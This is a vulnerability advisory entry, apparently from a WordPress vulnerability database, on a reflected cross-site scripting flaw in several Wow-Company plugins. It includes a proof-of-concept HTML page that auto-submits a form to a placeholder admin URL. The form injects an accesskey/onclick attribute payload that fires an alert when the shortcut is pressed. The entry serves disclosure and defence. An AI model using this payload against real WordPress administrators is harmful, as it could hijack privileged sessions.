Multiple Plugins from Wow-Company - Reflected XSS

2023-05-2200:00:00

wpvulndb

xss

reflected

exploit

admin

plugins

0.001 Low

EPSS

Percentile

25.0%

JSON

The plugins do not escape the page parameter before outputting it back in an attribute, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin

Make a logged in admin open a page with the code below

<html>
  <body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/admin.php?page=float-menu" method="POST">
      <input type="hidden" name="page" value='"accesskey=X onclick=alert(/XSS/)//>' />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

The XSS will be triggered when pressing ALT+SHIFT+X on Windows and CTRL+ALT+X on OS X

0.001 Low

EPSS

Percentile

25.0%

JSON

Related for WPEX-ID:27E70507-FD68-4915-88CF-0B96ED55208E